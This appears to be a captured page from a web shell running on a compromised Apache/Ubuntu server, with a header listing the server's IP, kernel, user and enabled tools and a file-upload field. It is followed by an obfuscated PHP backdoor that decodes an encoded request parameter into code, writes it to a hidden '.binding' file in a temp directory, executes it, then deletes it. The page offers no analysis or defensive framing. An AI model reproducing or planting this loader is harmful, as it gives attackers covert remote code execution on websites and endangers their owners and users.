| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/manger/ |
Upload File : |
<?php
if(isset($_REQUEST["\x65\x6Et"])){
$flag = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path()]);
$bind = $_REQUEST["\x65\x6Et"];
$bind = explode ("." ,$bind ) ;
$token = '';
$salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $salt3);
$k = 0;
while( $k < count( $bind)) { $v5 = $bind[$k];
$sChar = ord( $salt3[$k% $sLen]);
$dec = ( ( int)$v5 - $sChar -( $k% 10)) ^ 2;
$token .= chr( $dec);
$k++; }
foreach ($flag as $key => $k) {
if (array_product([is_dir($k), is_writable($k)])) {
$mrk = vsprintf("%s/%s", [$k, ".binding"]);
if (file_put_contents($mrk, $token)) {
include $mrk;
@unlink($mrk);
die();
}
}
}
}